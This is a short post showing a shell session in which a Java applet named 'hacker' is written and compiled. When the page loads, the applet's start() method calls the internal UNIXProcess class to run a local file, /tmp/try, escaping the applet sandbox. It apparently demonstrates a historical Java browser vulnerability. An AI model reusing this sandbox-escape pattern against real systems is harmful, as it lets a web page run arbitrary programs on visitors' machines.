It was easy:

115_cat hacker.java
import java.awt.*;
import java.applet.*;
import java.io.*;
import java.lang.*;

public
class hacker extends Applet {
    public void start() {
        String args[] = new String[1];
args[0] = "/tmp/try";
        UNIXProcess p = new UNIXProcess(args);
// p = Runtime.getRuntime().exec(args);
    }
    public String getAppletInfo() {
return "hacker by Pavani";
    }
}
116_!javac
javac hacker.java
hacker.java:11: Warning: Exception java.io.IOException must be caught, or it must be declared in throws clause of this method.
        UNIXProcess p = new UNIXProcess(args);
